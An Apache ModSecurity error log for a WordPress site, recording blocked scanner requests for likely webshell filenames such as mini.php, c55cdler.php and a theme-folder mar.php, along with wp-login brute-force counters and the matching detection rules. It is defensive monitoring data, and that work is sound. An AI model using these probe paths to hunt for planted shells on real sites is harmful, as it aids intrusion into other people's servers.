[Tue May 19 02:34:25.873908 2026] [:error] [pid 36491:tid 36496] [client 20.151.117.104:13915] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "agtbsU555B9CZb6D60kG4QAAAUE"]
[Tue May 19 02:34:26.300812 2026] [:error] [pid 36492:tid 36532] [client 20.151.117.104:14290] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "agtbsmCVlogrkn9m2w4vKwAAAAo"]
[Tue May 19 02:34:26.747196 2026] [:error] [pid 36492:tid 36531] [client 20.151.117.104:14265] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "agtbsmCVlogrkn9m2w4vLQAAAAk"]
[Tue May 19 02:34:27.182753 2026] [:error] [pid 44087:tid 44103] [client 20.151.117.104:13838] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "agtbs25HPHbH9GK7l6wSIwAAAc4"]
[Tue May 19 02:34:27.604372 2026] [:error] [pid 44087:tid 44107] [client 20.151.117.104:13907] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "agtbs25HPHbH9GK7l6wSJAAAAdI"]
[Tue May 19 02:34:28.032425 2026] [:error] [pid 44046:tid 44069] [client 20.151.117.104:14286] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "agtbtIYF4k2jfXJBXk0UmwAAAZU"]
[Tue May 19 02:34:28.568486 2026] [:error] [pid 36579:tid 36584] [client 20.151.117.104:13947] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "agtbtF-aoZxBfgL5vDy6PQAAAEI"]
[Tue May 19 02:34:29.003873 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:14259] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "agtbtWCVlogrkn9m2w4vLwAAAAQ"]
[Tue May 19 02:34:29.501109 2026] [:error] [pid 36493:tid 36568] [client 20.151.117.104:14124] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "agtbtQynkzQB5nM668ro2QAAARM"]
[Tue May 19 02:34:29.949705 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:14284] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "agtbtU555B9CZb6D60kG6QAAAVQ"]
[Tue May 19 02:34:30.491316 2026] [:error] [pid 36492:tid 36537] [client 20.151.117.104:14227] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "agtbtmCVlogrkn9m2w4vMgAAAA8"]
[Tue May 19 02:34:30.935460 2026] [:error] [pid 36491:tid 36509] [client 20.151.117.104:14293] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "agtbtk555B9CZb6D60kG7AAAAU4"]
[Tue May 19 02:34:31.358648 2026] [:error] [pid 36491:tid 36518] [client 20.151.117.104:13944] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "agtbt0555B9CZb6D60kG7gAAAVc"]
[Tue May 19 02:34:31.792983 2026] [:error] [pid 36491:tid 36519] [client 20.151.117.104:14324] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "agtbt0555B9CZb6D60kG7wAAAVg"]
[Tue May 19 02:34:32.221538 2026] [:error] [pid 36491:tid 36513] [client 20.151.117.104:13916] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "agtbuE555B9CZb6D60kG8QAAAVI"]
[Tue May 19 02:34:32.652882 2026] [:error] [pid 36492:tid 36522] [client 20.151.117.104:13857] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "agtbuGCVlogrkn9m2w4vNAAAAAA"]
[Tue May 19 02:34:33.110460 2026] [:error] [pid 36579:tid 36599] [client 20.151.117.104:14316] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "agtbuV-aoZxBfgL5vDy6RAAAAFE"]
[Tue May 19 02:34:33.547335 2026] [:error] [pid 36579:tid 36587] [client 20.151.117.104:14238] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "agtbuV-aoZxBfgL5vDy6RQAAAEU"]
[Tue May 19 02:34:33.973752 2026] [:error] [pid 36491:tid 36511] [client 20.151.117.104:14330] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/"] [unique_id "agtbuU555B9CZb6D60kG-gAAAVA"]
[Tue May 19 02:34:34.396133 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:14258] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/"] [unique_id "agtbuk555B9CZb6D60kG-wAAAUY"]
[Tue May 19 02:34:34.854867 2026] [:error] [pid 44046:tid 44065] [client 20.151.117.104:14062] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/"] [unique_id "agtbuoYF4k2jfXJBXk0UnQAAAZE"]
[Tue May 19 02:34:35.277025 2026] [:error] [pid 44087:tid 44098] [client 20.151.117.104:14334] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/"] [unique_id "agtbu25HPHbH9GK7l6wSKwAAAck"]
[Tue May 19 02:34:35.847073 2026] [:error] [pid 44087:tid 44102] [client 20.151.117.104:13953] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "agtbu25HPHbH9GK7l6wSLAAAAc0"]
[Tue May 19 02:34:36.295956 2026] [:error] [pid 36491:tid 36519] [client 20.151.117.104:14160] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "agtbvE555B9CZb6D60kHAgAAAVg"]
[Tue May 19 02:34:36.718330 2026] [:error] [pid 36491:tid 36496] [client 20.151.117.104:13892] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "agtbvE555B9CZb6D60kHBAAAAUE"]
[Tue May 19 02:34:37.134776 2026] [:error] [pid 36491:tid 36498] [client 20.151.117.104:14192] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "agtbvU555B9CZb6D60kHBQAAAUM"]
[Tue May 19 02:34:37.575852 2026] [:error] [pid 36492:tid 36541] [client 20.151.117.104:14287] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "agtbvWCVlogrkn9m2w4vOwAAABM"]
[Tue May 19 02:34:41.856798 2026] [:error] [pid 43916:tid 43945] [client 20.151.117.104:14230] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "agtbwdQC236p33zJJvngwQAAAJU"]
[Tue May 19 02:36:01.576828 2026] [:error] [pid 36491:tid 36508] [client 20.151.117.104:14276] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insc.php"] [unique_id "agtcEU555B9CZb6D60kHzgAAAU0"]
[Tue May 19 02:36:02.005908 2026] [:error] [pid 36492:tid 36530] [client 20.151.117.104:14098] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insc.php"] [unique_id "agtcEmCVlogrkn9m2w4vwwAAAAg"]
[Tue May 19 02:36:03.676790 2026] [:error] [pid 36492:tid 36532] [client 20.151.117.104:14153] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insc.php"] [unique_id "agtcE2CVlogrkn9m2w4vxAAAAAo"]
[Tue May 19 02:36:04.406163 2026] [:error] [pid 44087:tid 44090] [client 20.151.117.104:14215] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insc.php"] [unique_id "agtcFG5HPHbH9GK7l6wSVgAAAcE"]
[Tue May 19 02:58:49.082349 2026] [:error] [pid 44010:tid 44030] [client 162.240.101.155:53186] [client 162.240.101.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.240.101.155, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agthaTcFUuogD3-74-aRZQAAANI"]
[Tue May 19 02:58:50.595147 2026] [:error] [pid 44010:tid 44036] [client 162.240.101.155:53186] [client 162.240.101.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.240.101.155, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agthajcFUuogD3-74-aRZwAAANg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 03:12:14.864531 2026] [:error] [pid 36491:tid 36514] [client 8.130.10.226:55868] [client 8.130.10.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.130.10.226, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtkjk555B9CZb6D60kSDgAAAVM"]
[Tue May 19 03:41:18.625494 2026] [:error] [pid 44010:tid 44029] [client 217.154.239.191:56098] [client 217.154.239.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.239.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtrXjcFUuogD3-74-aUtwAAANE"]
[Tue May 19 03:54:52.357683 2026] [:error] [pid 34810:tid 34831] [client 172.173.117.54:65234] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pha.php"] [unique_id "agtujHLwdc8JcvxViQXwxgAAANM"]
[Tue May 19 03:54:52.752598 2026] [:error] [pid 34810:tid 34827] [client 172.173.117.54:62897] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pha.php"] [unique_id "agtujHLwdc8JcvxViQXwxwAAAM8"]
[Tue May 19 03:54:53.153411 2026] [:error] [pid 34810:tid 34812] [client 172.173.117.54:62941] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pha.php"] [unique_id "agtujXLwdc8JcvxViQXwyAAAAMA"]
[Tue May 19 03:54:53.550697 2026] [:error] [pid 34810:tid 34824] [client 172.173.117.54:62946] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pha.php"] [unique_id "agtujXLwdc8JcvxViQXwyQAAAMw"]
[Tue May 19 03:54:53.925500 2026] [:error] [pid 34691:tid 34785] [client 172.173.117.54:65206] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c55cdler.php"] [unique_id "agtujYGYsOBD9bWkFnTjLwAAAJc"]
[Tue May 19 03:54:54.317678 2026] [:error] [pid 34810:tid 34814] [client 172.173.117.54:62854] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c55cdler.php"] [unique_id "agtujnLwdc8JcvxViQXwygAAAMI"]
[Tue May 19 03:54:54.774607 2026] [:error] [pid 34810:tid 34818] [client 172.173.117.54:64448] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c55cdler.php"] [unique_id "agtujnLwdc8JcvxViQXwywAAAMY"]
[Tue May 19 03:54:55.273440 2026] [:error] [pid 34810:tid 34823] [client 172.173.117.54:64402] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c55cdler.php"] [unique_id "agtuj3Lwdc8JcvxViQXwzQAAAMs"]
[Tue May 19 03:54:55.696807 2026] [:error] [pid 34810:tid 34825] [client 172.173.117.54:62930] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/guiler.php"] [unique_id "agtuj3Lwdc8JcvxViQXwzgAAAM0"]
[Tue May 19 03:54:56.115123 2026] [:error] [pid 34690:tid 34738] [client 172.173.117.54:64418] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/guiler.php"] [unique_id "agtukIQwnq2meDg4FYnhJgAAAEM"]
[Tue May 19 03:54:56.572217 2026] [:error] [pid 34690:tid 34741] [client 172.173.117.54:64477] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/guiler.php"] [unique_id "agtukIQwnq2meDg4FYnhJwAAAEY"]
[Tue May 19 03:54:56.982690 2026] [:error] [pid 34691:tid 34783] [client 172.173.117.54:65257] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/guiler.php"] [unique_id "agtukIGYsOBD9bWkFnTjMQAAAJU"]
[Tue May 19 03:54:57.382305 2026] [:error] [pid 34810:tid 34833] [client 172.173.117.54:64498] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doko.php"] [unique_id "agtukXLwdc8JcvxViQXw0QAAANU"]
[Tue May 19 03:54:57.907478 2026] [:error] [pid 34810:tid 34816] [client 172.173.117.54:65259] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doko.php"] [unique_id "agtukXLwdc8JcvxViQXw1AAAAMQ"]
[Tue May 19 03:54:58.320937 2026] [:error] [pid 34690:tid 34753] [client 172.173.117.54:65166] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doko.php"] [unique_id "agtukoQwnq2meDg4FYnhKQAAAFI"]
[Tue May 19 03:54:58.731116 2026] [:error] [pid 34690:tid 34754] [client 172.173.117.54:62891] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doko.php"] [unique_id "agtukoQwnq2meDg4FYnhLAAAAFM"]
[Tue May 19 03:54:59.165640 2026] [:error] [pid 34810:tid 34829] [client 172.173.117.54:64510] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Okxob.php"] [unique_id "agtuk3Lwdc8JcvxViQXw1gAAANE"]
[Tue May 19 03:54:59.546913 2026] [:error] [pid 34810:tid 34828] [client 172.173.117.54:65242] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Okxob.php"] [unique_id "agtuk3Lwdc8JcvxViQXw1wAAANA"]
[Tue May 19 03:54:59.970896 2026] [:error] [pid 34691:tid 34766] [client 172.173.117.54:64426] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Okxob.php"] [unique_id "agtuk4GYsOBD9bWkFnTjMwAAAIQ"]
[Tue May 19 03:55:00.377943 2026] [:error] [pid 34691:tid 34768] [client 172.173.117.54:62929] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Okxob.php"] [unique_id "agtulIGYsOBD9bWkFnTjNAAAAIY"]
